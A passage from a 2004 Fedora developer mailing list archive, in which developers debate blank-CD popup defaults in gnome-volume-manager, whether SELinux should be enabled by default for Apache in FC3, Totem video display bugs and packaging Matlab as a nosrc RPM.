+0200 > @@ -6,7 +6,7 @@ > what="$2" > found=0 > > -/bin/cat /proc/sys/dev/cdrom/info | { > +/bin/cat /proc/sys/dev/cdrom/info 2> /dev/null | { > while read line; do > if [ "$found" = "0" -a "${line/drive name:}" != "$line" ]; then > set ${line/drive name:} > -- Harald Hoyer, Senior Software Engineer gpg fingerprint E930 20E6 CCF8 C76C 8582 CF9F B7B7 45C2 C557 5542 http://harryh.homelinux.org http://people.redhat.com/harald Red Hat GmbH : http://www.redhat.de From johnp at redhat.com Fri Oct 8 15:07:32 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Fri, 08 Oct 2004 11:07:32 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097220196.3967.153.camel@greebo.homeip.net> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> Message-ID: <1097248052.27221.3.camel@remedyz.boston.redhat.com> On Fri, 2004-10-08 at 09:23 +0200, Alexander Larsson wrote: > On Thu, 2004-10-07 at 12:02 -0400, John (J5) Palmieri wrote: > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > I think we should not open it. Not even in spatial mode. I'm off the > opinion that most "automatically open window that can disturb the users > workflow" behaviour is wrong, as it often interfers with peoples use of > the system. > > What i'm saying is: putting an icon on the desktop or in the computer > location when you insert some media is fine, this actually helps the > user to easier access the media, and the visible change makes it obvious > the computer actually recognized that you did something. Poping up a > window over the current application can break the users current action, > plus it doesn't educate him on the interaction model we're trying to > plant in the users mind (that the cd icon on the desktop represents the > media). Except for the fact that the user has already broken their current action by plugging something in. > Currently we don't pop up a filemanager window when you insert any other > kind of media, why should blank cds be different? Yes we do. This should be on by default. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From kmacmillan at tresys.com Fri Oct 8 15:25:25 2004 From: kmacmillan at tresys.com (Karl MacMillan) Date: Fri, 8 Oct 2004 11:25:25 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007200654.8108.qmail@web50609.mail.yahoo.com> Message-ID: <200410081525.i98FPPSf005975@gotham.columbia.tresys.com> > -----Original Message----- > From: fedora-devel-list-bounces at redhat.com [mailto:fedora-devel-list- > bounces at redhat.com] On Behalf Of Steve G > > >Design the exposed UI for the end users of the system. Don't just > >expose the raw UI that developers understand. And the config files are > >definitely UI. > > I'd say that new ways to configure it will evolve out of the current > environment. > Remember when IPTables first came out? You had to be a network guru and > write > your own script. Now you can choose between many programs that let you > configure > iptables. For example, shorewall or firewall builder. I think over time > (and as > the needs are made clearer) better tools will be created out of necessity > or > simply seeing a better way. > > This is really what's missing...a healthy set of competing utilities and > policy > writing tools. I've been toying with doing something along the lines of > firewall > builder in my spare time. Steve - I agree with you here. The underlying policy language does a good job of representing the SELinux model, but policy writers need some tools and frameworks to allow them to work at a higher level and more directly encode the security goals they care about. This might, for example, allow them to focus on how information flows through an email relay so that they can ensure that every email must pass through a virus scanner. For an experienced policy writer, I assert that it is fairly straightforward to accomplish this in the existing policy language, but for others some more support is necessary. We are actively working on this problem and have some interesting concepts in development. I hope that we will have something more concrete to share in the coming months. Karl Karl MacMillan Tresys Technology http://www.tresys.com (410)290-1411 ext 134 > Gotta clear a back-log of projects first, > though. > > -Steve Grubb > > > > _______________________________ > Do you Yahoo!? > Declare Yourself - Register online to vote today! > http://vote.yahoo.com > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From uraeus at gnome.org Thu Oct 7 13:57:05 2004 From: uraeus at gnome.org (Christian Fredrik Kalager Schaller) Date: Thu, 07 Oct 2004 15:57:05 +0200 Subject: Totem/GStreamer and Fedora Message-ID: <1097157425.2460.29.camel@localhost.localdomain> >> > [Or the format is patent free 8)] >> > >> >> Surely Alan no such beast exists :) > non-lzw encoded gifanim, vt100 ascii art, fli, raw images, .. 8) > and patent rights granted - qv30, theora, dirac > Alan Well all unencumbered stuff will probably be part of the default install from the distros so no need install extra stuff for it. I think Thomas 'community' packages refered to packages with stuff Red Hat or anyone other US company for various reasons can't include in the default package. As for non-lwz gif, didn't the lwz patent expire some months ago? Anyway we have a MNG decoder in GStreamer already so no need for cruddy gifs :) Christian From damian at math.wvu.edu Thu Oct 7 21:16:18 2004 From: damian at math.wvu.edu (Damian Christey) Date: Thu, 07 Oct 2004 17:16:18 -0400 Subject: Linux@DUKE Nosrc-RPM project. Message-ID: <1097183778.25330.53.camel@Ed> Greetings and thanks for your great work, I have also been packaging proprietary software (Matlab to start with) to run on Fedora for our Math Department and am interested in collaborating with others who are doing similar things. There are a few things I did slightly differently. 1. I build one monolithic Matlab package rather than packaging each toolkit separately. Not sure if this is good or bad, I was just trying to make building packages as simple as possible. 2. I used the "expect" program to make a script that automates the Matlab installer. This adds a build dependency on expect >= 5.0, which is in the base Fedora distribution as well as previous Redhat versions back to 6.0, but may not be installed by default. 3. I tried to make the whole process as generic as possible, so it could be easily modified to build packages for other proprietary software. I've made a nosrc rpm available here: http://www.math.wvu.edu/~damian/fedora/nosrc-rpm/matlab-7.0.1-2.nosrc.rpm for testing purposes. To build packages: 1. Download the Matlab installer, all the toolboxes you want to package, and your license.dat file from the Mathworks' website. 2. Place all of the downloaded files in a folder named "matlab" in your build directory, for example: /usr/src/redhat/BUILD/matlab/ 3. Make sure expect is installed: # rpm -q expect if not: # yum install expect 4. Build it! # rpmbuild --rebuild matlab-7.0.1-2.src.rpm -- Damian Christey System Administration, WVU Department of Mathematics From kmacmillan at tresys.com Fri Oct 8 15:30:43 2004 From: kmacmillan at tresys.com (Karl MacMillan) Date: Fri, 8 Oct 2004 11:30:43 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097175363.13339.194.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <200410081530.i98FUhSf006041@gotham.columbia.tresys.com> > -----Original Message----- > From: fedora-devel-list-bounces at redhat.com [mailto:fedora-devel-list- > bounces at redhat.com] On Behalf Of Stephen Smalley > > On Thu, 2004-10-07 at 14:52, Felipe Alfaro Solana wrote: > > They are such different beasts: With DAC, permissions over resources > > are managed by their owners (root or users). In a MAC-based system, a > > policy governs how the system security behaves, and the policy is set > > up by an administrator and obeyed by everyone. > > Right. Two other important differentiators between DAC and MAC beyond > the issue of administratively-defined policy include: > 2) Control over all processes and objects in the system (e.g. not just > files), > 3) Control based on all security-relevant information, not just user > identity (e.g. role in which the user is acting, function and > trustworthiness of the program, sensitivity/integrity of the data). > > DAC cannot protect against flawed or malicious programs. > This can't be stressed enough. SELinux is a disruptive technology, but it is the first time that a security technology that solves some of the fundamental security problems that are plaguing computers is available in a mainstream operating system. Karl Karl MacMillan Tresys Technology http://www.tresys.com (410)290-1411 ext 134 > -- > Stephen Smalley > National Security Agency > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From bclark at redhat.com Fri Oct 8 15:43:54 2004 From: bclark at redhat.com (Bryan Clark) Date: Fri, 08 Oct 2004 11:43:54 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097220196.3967.153.camel@greebo.homeip.net> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> Message-ID: <1097250234.3704.19.camel@rhbw.boston.redhat.com> On Fri, 2004-10-08 at 09:23 +0200, Alexander Larsson wrote: > I think we should not open it. Not even in spatial mode. I'm off the > opinion that most "automatically open window that can disturb the users > workflow" behaviour is wrong, as it often interfers with peoples use of > the system. > > What i'm saying is: putting an icon on the desktop or in the computer > location when you insert some media is fine, this actually helps the > user to easier access the media, and the visible change makes it obvious > the computer actually recognized that you did something. Poping up a > window over the current application can break the users current action, > plus it doesn't educate him on the interaction model we're trying to > plant in the users mind (that the cd icon on the desktop represents the > media). > > Currently we don't pop up a filemanager window when you insert any other > kind of media, why should blank cds be different? A filemanager no, but when you insert a Camera we ask if you want to import the photos (this isn't the best thing to do, but close). The problem with only putting an icon on the desktop is that you're assuming that when I insert new media I've cleaned my screen of applications and can clearly see the desktop. This isn't really an assumption we can make. At the same time, a cluttered desktop could make it harder for people to see new items appear on it, we can't assume people have clean desktops and a new icon will be immediately visible. Popping up the filemanager, especially since burn:// is just a blank window isn't the best thing to do either. What we should work on is improving our CD burning interface so it's not so bare. If we don't popup something at all people are like to assume we didn't realize that you inserted new media. The persons work flow behavior on the desktop has already been interrupted by inserting a media device, giving them the option to begin using the media is probably the best next step. Ultimately I think using some kind of bubble up notification [1] might be the best thing in the short term. What I'd really like to work on is to determine a way to figure out the work flow. What I mean is, if you have Rhythmbox open and you insert a blank CD, we currently assume that you're going to want burn:// because that's our default CD burning system. However, if Rhythmbox has CD burning facilities and you have the application open it'd be better to assume (or at least ask) that you're going to make an audio CD and not a data CD. Yea, there's lots of edge cases either way, but I think this work flow idea is the best method to work towards. Cheers, ~ Bryan [1] One of those things from the systray area that doesn't steal focus and allows you to open up a CD burning app. From kmacmillan at tresys.com Fri Oct 8 15:47:42 2004 From: kmacmillan at tresys.com (Karl MacMillan) Date: Fri, 8 Oct 2004 11:47:42 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097175036.8543.54.camel@nexus.verbum.private> Message-ID: <200410081547.i98FlgSf006159@gotham.columbia.tresys.com> > -----Original Message----- > From: fedora-devel-list-bounces at redhat.com [mailto:fedora-devel-list- > bounces at redhat.com] On Behalf Of Colin Walters > > Simplifying the config syntax could make SELinux far more usable. The > > current syntax requires the admin to think in terms of SELinux > > mechanics, not in terms of what they want the system to do. You can't > > just write "/bin/foo can only perform read operations, and only > > on /etc/foo.rc," > > Having something like that in the policy would add more confusion, > because it would be a huge special case. The SELinux policy is simple > in that the essentials only deal with types - there is the same > conceptual model for files, as well as processes, TCP ports, etc. > > This would also make it much harder to write a tool like apol which can > analyze a security policy to determine information flow - can my web > administrator with control over httpd_t access any nurse_t processes or > any health_record_t files? > Not only can this type of analysis not be done on the existing DAC mechanism, if it could that answer could change at any time. With SELinux we can answer questions like this and know that the answer will remain the same as long as the policy doesn't change. Also, the flow of information in a system can help you answer many interesting questions beyond the disclosure of sensitive information. For example, integrity questions like who/what can write information to the config files for trusted applications. Karl Karl MacMillan Tresys Technology http://www.tresys.com (410)290-1411 ext 134 > > you need to write, "/bin/foo is this > > context, /etc/foo.rc is this context, and the traits between these are > > this" and so on. Low-level implementation details are directly exposed. > > It's not "implementation details" - types are fundamental to > understanding and using MAC, they cannot be hidden. > From notting at redhat.com Fri Oct 8 15:50:37 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 8 Oct 2004 11:50:37 -0400 Subject: rawhide report: 20041007 changes In-Reply-To: <1097214181.19410.15.camel@localhost.localdomain> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> <1097214181.19410.15.camel@localhost.localdomain> Message-ID: <20041008155037.GA12427@nostromo.devel.redhat.com> Matias F?liciano (feliciano.matias at free.fr) said: > $ rpm -q -f /etc/sysconfig/rawdevices > initscripts-7.88-1 rawdevices support was removed a while ago; the config is a leftover. Bill From feliciano.matias at free.fr Fri Oct 8 16:18:07 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 08 Oct 2004 18:18:07 +0200 Subject: rawhide report: 20041007 changes In-Reply-To: <20041008155037.GA12427@nostromo.devel.redhat.com> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> <1097214181.19410.15.camel@localhost.localdomain> <20041008155037.GA12427@nostromo.devel.redhat.com> Message-ID: <1097252287.18267.9.camel@localhost.localdomain> Le vendredi 08 octobre 2004 ? 11:50 -0400, Bill Nottingham a ?crit : > Matias F?liciano (feliciano.matias at free.fr) said: > > $ rpm -q -f /etc/sysconfig/rawdevices > > initscripts-7.88-1 > > rawdevices support was removed a while ago; the config is a leftover. > So, CONFIG_RAW_DRIVER should be remove from the kernel as /etc/sysconfig/rawdevices. Note that CONFIG_RAW_DRIVER has been enabled back in 2.6.8-1.598. Not enabled in 2.6.8-1.541 and 2.6.8-1.521. > Bill > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From Nicolas.Mailhot at laPoste.net Fri Oct 8 16:29:09 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Fri, 08 Oct 2004 18:29:09 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097250234.3704.19.camel@rhbw.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> Message-ID: <1097252949.7003.45.camel@rousalka.dyndns.org> Le vendredi 08 octobre 2004 ? 11:43 -0400, Bryan Clark a ?crit : > If we don't popup something at all people are like to assume we didn't > realize that you inserted new media. And this is something that needs to be validated. People might assume there is a popup because we buried them under popups in similar circumstances in the past (or if we didn't do it some other system did). Virgin users might very well adapt better to a less intrusive system, and virgin users are the only ones that count in the long run. Popup blockers and tabs certainly change the browser experience and some people's habits. They are a huge success nevertheless. > The persons work flow behavior on > the desktop has already been interrupted by inserting a media device, They might insert a blank while reading a document that describes the iso they're about to burn (ie FC3 release notes) and get very annoyed when the damn window pops up over their article, or collecting the files they intend to burn in nautilus, etc People are not limited to single tasks. They can perfectly drink coffee while listening music and reading something. Why should the computer hammer the fact they've just done something as obvious as inserting a CD ? How many people can open a CD box, a CD tray, take a disc inside the box and put it in the tray, then close the tray, while being totally oblivious to the fact they've just put a disc inside the damn computer ? > giving them the option to begin using the media is probably the best > next step. You're not giving them an option, you're wacking them on the head with it. A lot of people do things like warming up an oven, switching on the TV or the radio then moving on to something else before going back to their oven or tv or whatever because they can and while they could possibly devote themselves to each machine they prefer doing it in their own order (because frankly they don't care about the damn appliance feelings). Now thanks to the wonders of modern computer science we're building appliances that can pout. Popups, spash screens and other (human-)focus-stealers should not be taken lightly. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From jorton at redhat.com Fri Oct 8 16:38:37 2004 From: jorton at redhat.com (Joe Orton) Date: Fri, 8 Oct 2004 17:38:37 +0100 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097181214.8543.77.camel@nexus.verbum.private> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> <1097181214.8543.77.camel@nexus.verbum.private> Message-ID: <20041008163837.GA30160@redhat.com> On Thu, Oct 07, 2004 at 04:33:34PM -0400, Colin Walters wrote: > On Thu, 2004-10-07 at 17:36 +0100, Joe Orton wrote: > > > That's surely not the whole story if SELinux is on by default and Apache > > is covered by the targetted policy. The fact seems to be that you have > > to know and understand SELinux to be able to do the normal things you do > > with Apache, e.g. write CGI scripts, or change httpd.conf. > > Following up on this a bit - it would be possible to weaken the Apache > policy so that there are not separate types for user versus system > content, or CGI script executables versus CGI data. You'd just have a > single type, httpd_content_t. Then an administrator wouldn't have to > know how to run chcon to relabel executable CGI scripts or mark data as > readonly by the CGI script. I'm just not convinced it's the right decision to apply SELinux policy to Apache *by default*. New administrators have enough problems trying to configure stuff as it is, without placing this invisible tripwire in front of them. It won't endear people to FC3 as a good web server platform if the PHP, CGI scripts etc, hell, even running httpd -t "just doesn't work" out of the box when it did in past releases. They will go back to "chuck away the packaged stuff and build from sources" as that'll be the first thing people will tell them when they ask the mailing lists and IRC channels. joe From smooge at gmail.com Fri Oct 8 16:58:12 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Fri, 8 Oct 2004 10:58:12 -0600 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041008163837.GA30160@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@10.169.6.246> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> <1097181214.8543.77.camel@nexus.verbum.private> <20041008163837.GA30160@redhat.com> Message-ID: <80d7e4090410080958545f71e6@mail.gmail.com> On Fri, 8 Oct 2004 17:38:37 +0100, Joe Orton wrote: > On Thu, Oct 07, 2004 at 04:33:34PM -0400, Colin Walters wrote: > > On Thu, 2004-10-07 at 17:36 +0100, Joe Orton wrote: > > > > > That's surely not the whole story if SELinux is on by default and Apache > > > is covered by the targetted policy. The fact seems to be that you have > > > to know and understand SELinux to be able to do the normal things you do > > > with Apache, e.g. write CGI scripts, or change httpd.conf. > > > > Following up on this a bit - it would be possible to weaken the Apache > > policy so that there are not separate types for user versus system > > content, or CGI script executables versus CGI data. You'd just have a > > single type, httpd_content_t. Then an administrator wouldn't have to > > know how to run chcon to relabel executable CGI scripts or mark data as > > readonly by the CGI script. > > I'm just not convinced it's the right decision to apply SELinux policy > to Apache *by default*. New administrators have enough problems trying > to configure stuff as it is, without placing this invisible tripwire in > front of them. > > It won't endear people to FC3 as a good web server platform if the PHP, > CGI scripts etc, hell, even running httpd -t "just doesn't work" out of > the box when it did in past releases. They will go back to "chuck away > the packaged stuff and build from sources" as that'll be the first thing > people will tell them when they ask the mailing lists and IRC channels. > > They can also install everything as setuid and root.. and give someone the root password to help them set it up.. if they listen to the wrong people on mailling lists and IRC channels. People can also just turn off selinux with a one liner and a reboot if they dont have the time, inclination, or energy to learn a new security mechanism. -- Stephen J Smoogen. Professional System Administrator From walters at redhat.com Fri Oct 8 17:07:06 2004 From: walters at redhat.com (Colin Walters) Date: Fri, 08 Oct 2004 13:07:06 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041008163837.GA30160@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> <1097181214.8543.77.camel@nexus.verbum.private> <20041008163837.GA30160@redhat.com> Message-ID: <1097255226.6064.34.camel@nexus.verbum.private> On Fri, 2004-10-08 at 17:38 +0100, Joe Orton wrote: > I'm just not convinced it's the right decision to apply SELinux policy > to Apache *by default*. New administrators have enough problems trying > to configure stuff as it is, I agree, Apache is a very complex daemon, with a lot of configuration possibilities. That is a very good reason for applying SELinux policy, since the policy prevents a misconfigured or compromised apache from damaging your system. > without placing this invisible tripwire in > front of them. When people get permission denials, they will likely know to look in both /var/log/httpd/error_log; we just need to get people to know to look in /var/log/messages as well. > It won't endear people to FC3 as a good web server platform if the PHP, > CGI scripts etc, With a weakened Apache policy, these should generally require no configuration. But it will give less protection as well. > hell, even running httpd -t "just doesn't work" True. But really, the syntax parsing should be a separate application. If the policy allowed the regular daemon access to the system administrator's terminal, then it could take over an existing root shell. > out of > the box when it did in past releases. They will go back to "chuck away > the packaged stuff and build from sources" That's bad advice. First of all, if they really want, they can disable enforcement just for Apache quite easily, as has been mentioned earlier. Second of all, reinstalling from sources will not be a reliable means to disable SELinux protection for Apache. It might work because the new binaries will inherit the generic sbin_t type, and so no transition will occur. But if the system is later relabeled, those files could be reset to the httpd_exec_t type, and then the transition will happen again. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Fri Oct 8 17:13:08 2004 From: walters at redhat.com (Colin Walters) Date: Fri, 08 Oct 2004 13:13:08 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <80d7e4090410080958545f71e6@mail.gmail.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@10.169.6.246> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> <1097181214.8543.77.camel@nexus.verbum.private> <20041008163837.GA30160@redhat.com> <80d7e4090410080958545f71e6@mail.gmail.com> Message-ID: <1097255588.6064.38.camel@nexus.verbum.private> On Fri, 2004-10-08 at 10:58 -0600, Stephen J. Smoogen wrote: > People can also just turn off selinux with a one liner and a reboot if > they dont have the time, inclination, or energy to learn a new > security mechanism. Far better to just disable protection for Apache using system-config-securitylevel. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rbultje at ronald.bitfreak.net Fri Oct 8 17:14:30 2004 From: rbultje at ronald.bitfreak.net (Ronald Bultje) Date: Fri, 08 Oct 2004 19:14:30 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097242478.15119.13.camel@support02.civic.twp.ypsilanti.mi.us> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> <1097226302.2503.1.camel@localhost.localdomain> <1097242478.15119.13.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1097255670.2503.9.camel@localhost.localdomain> Hi Sean Op vr 08-10-2004, om 15:34 schreef Sean Middleditch: > On Fri, 2004-10-08 at 11:05 +0200, Ronald Bultje wrote: > > Op do 07-10-2004, om 20:30 schreef Sean Middleditch: > > > I'm having a problem where totem isn't displaying anything normally; > > > just a black area where the video should be. If I popup a menu or move > > > another window over totem, the video flickers in and out of existence. > > > Sometimes it'll stay afterwards, most of the time it won't. The video > > > is always visible when I display it in fullscreen mode. > > > > This is interesting. I heard another user telling me that he didn't get > > an image at all or had garbled image, but *only* if he had the > > compositing manager running. Are you running xcompmgr? If so, what card, > > what videosink (gstreamer-properties), what driver and so on? > > No xcompmgr, and the Composite extension is disabled. Integrated Intel > i845 chipset with the i810 driver. > > Audio sink is ALSA, Video sink is XWindows (X11/Xshm/Xv). If I try > Xwindows (no Xv) I get no display at all (the video box on Totem is not > displayed). Hm, ok. This might be related to broken re-embedding then, which was a small bug that might have larger effects for some people. We just checked in a fix to playbin (gst-plugins) and totem. Can you try if those fix it? You'll need current CVS. If you want, you can apply those on a further vanilla 0.8.5/0.99.17 tree (*). Whichever you prefer. If you want, we can open a bugzilla report for this. Thanks, Ronald (*) http://cvs.gnome.org/viewcvs/totem/src/bacon-video-widget-gst.c?r1=1.90&r2=1.91&makepatch=1&diff_format=u and all the files with changes at Fri Oct 8 11:30:32 2004 UTC in http://freedesktop.org/cgi-bin/viewcvs.cgi/gstreamer/gst-plugins/gst/playback/ -- Ronald Bultje From david at fubar.dk Fri Oct 8 17:50:45 2004 From: david at fubar.dk (David Zeuthen) Date: Fri, 08 Oct 2004 13:50:45 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097248052.27221.3.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097248052.27221.3.camel@remedyz.boston.redhat.com> Message-ID: <1097257845.8995.18.camel@davidz> On Fri, 2004-10-08 at 11:07 -0400, John (J5) Palmieri wrote: > > Currently we don't pop up a filemanager window when you insert any other > > kind of media, why should blank cds be different? > > Yes we do. Not by default, no. Corner case: consider plugging in a USB2 harddisk enclosure with three partitions on - do we really want three new Nautilus windows popping up by default? Personally, I'm not convinced we want that. > This should be on by default. > For blank optical discs, yes (for the reasons stated other places in this thread). For other media, I'm not so sure. David From michael at insitesinc.com Fri Oct 8 18:43:15 2004 From: michael at insitesinc.com (Michael Favia) Date: Fri, 08 Oct 2004 13:43:15 -0500 Subject: Event based UI defaults [WAS: gnome-volume-manager blank CD defaults] In-Reply-To: <1097252949.7003.45.camel@rousalka.dyndns.org> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> <1097252949.7003.45.camel@rousalka.dyndns.org> Message-ID: <4166DFC3.1000004@insitesinc.com> These UI discussions are some of my favorite and coupled with the increasing componentization and modularization of FC is one of my primary reasons for reading these lists religiously. Jeff, John, and Nicolas and others consistently express valid viewpoints and are able to abstract what works best for them and what would work best for most users (which are often different beasts altogether). I dont know if this is no an off list discussion: I am unaware of the "real" guidelines (would love to know where to find them) for event UI design for the fedora project and gnome but I feel that the defaults of a UI should be targeted at a normal user (majority of the user base). I also believe that it is important to distinguish what will soon be normal users (slightly less technically proficient and dont desire to be more so) from what currently are normal users (moderately technically proficient with the desire to improve). Many of the people that i have known use fedora because they want to learn it and want to experiment with software alternatives but users/companies/governments are increasingly turning to FC as a core set of applications to "do business". These new users are much less interested in creating the perfect computing experience for themselves and would just like a sane set of defaults that arent obtrusive but still inform them of important system events and a helping hand in the right direction when they perform a new/unfamiliar operation. That said I personally despise "intelligent" menus that reorganize items and "automatic wizards/popups" that push you through the meat processing plant. While this may be a gray line i believe it is the UI's job to subtly provide the user with enough input and reinforcement as to propel them to the next desired step without forcing them down improper paths if they know differently (insert HAL 2000 quote here). To this end I believe that click able system tray notifications provide a great opportunity to guide less experienced users and dont "steal focus" away from experienced users on a mission. They can be easily ignored and should disappear in a reasonable amount of time (not to mention be configurable if desired). The end goal IMO is to provide the user with the knowledge to make the decision next time if there wasnt a notification present. I think Fedora is and should be attempting to be an attractive alternative with a shallow learning curve. So it is justifiably a bit more helpful currently then it should be as it becomes more ubiquitous. Streamlining and unifying the process by which the user interacts with the UI when foreign media and other elements (USB cam, printers, mp3 players, etc) are introduced if one of the most important areas of interaction in my opinion. I think we should handle all of these "events" in a unified way so the users becomes used to dealing with a computer that is trying to understand what actions you are trying to make it perform. This is just the aggregated sentiment of someone who introduces OSS in general and FC in particular to new users on a daily basis. I am only slightly qualified to express these opinions and i ask that you gently correct my mistakes/oversights where they are present. Im sure many of my thoughts are basic principles of UI design in some class i never took in college and i apologize if i am rehashing it for most. My opinions in short can be summed up as this: * Everything that can stay static should (you want a firm foundation for new/experienced users to feel comfortable on) * Expose the user to as few new UI elements as possible (this means unification of function and appearance wherever possible like: removable storage, new usb devices, etc). * The UI experience should be like a tree in that you follow the same branch until you are forced to deviate because of the requirements of your destination. * Subtly educate the user of possible and suggested actions without forcing them down predetermined paths of functionality (notifications). * All "interfacing events" (popups, wizards) should be initiated by the user using the interface itself (which may mean simply clicking on a notification). * Make operations as easy as possible by streamlining and automating the process where there is little question of deviance. By giving people less to learn (unification) and helping them through the learning process (notification) we jointly educate the unknowing and dont pester the experienced users with "forced interfacing". Best wishes. -- Michael Favia michael at insitesinc dot com Insites Incorporated http://michael.insitesinc.com From elanthis at awesomeplay.com Fri Oct 8 18:48:51 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Fri, 08 Oct 2004 14:48:51 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097255670.2503.9.camel@localhost.localdomain> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> <1097226302.2503.1.camel@localhost.localdomain> <1097242478.15119.13.camel@support02.civic.twp.ypsilanti.mi.us> <1097255670.2503.9.camel@localhost.localdomain> Message-ID: <1097261331.15119.37.camel@support02.civic.twp.ypsilanti.mi.us> On Fri, 2004-10-08 at 19:14 +0200, Ronald Bultje wrote: > Hi Sean > > Op vr 08-10-2004, om 15:34 schreef Sean Middleditch: > > No xcompmgr, and the Composite extension is disabled. Integrated Intel > > i845 chipset with the i810 driver. > > > > Audio sink is ALSA, Video sink is XWindows (X11/Xshm/Xv). If I try > > Xwindows (no Xv) I get no display at all (the video box on Totem is not > > displayed). > > Hm, ok. This might be related to broken re-embedding then, which was a > small bug that might have larger effects for some people. We just > checked in a fix to playbin (gst-plugins) and totem. Can you try if > those fix it? You'll need current CVS. If you want, you can apply those > on a further vanilla 0.8.5/0.99.17 tree (*). Whichever you prefer. If > you want, we can open a bugzilla report for this. Compiling big packages (or ones with most of GNOME as a dependency) isn't all that feasible on this machine. If the bug reproduces on my machine at home, I'll give it a shot there. > > Thanks, > > Ronald > > (*) > http://cvs.gnome.org/viewcvs/totem/src/bacon-video-widget-gst.c?r1=1.90&r2=1.91&makepatch=1&diff_format=u and all the files with changes at Fri Oct 8 11:30:32 2004 UTC in http://freedesktop.org/cgi-bin/viewcvs.cgi/gstreamer/gst-plugins/gst/playback/ > > -- > Ronald Bultje > -- Sean Middleditch AwesomePlay Productions, Inc. From jspaleta at gmail.com Fri Oct 8 20:17:16 2004 From: jspaleta at gmail.com (Jeff Spaleta) 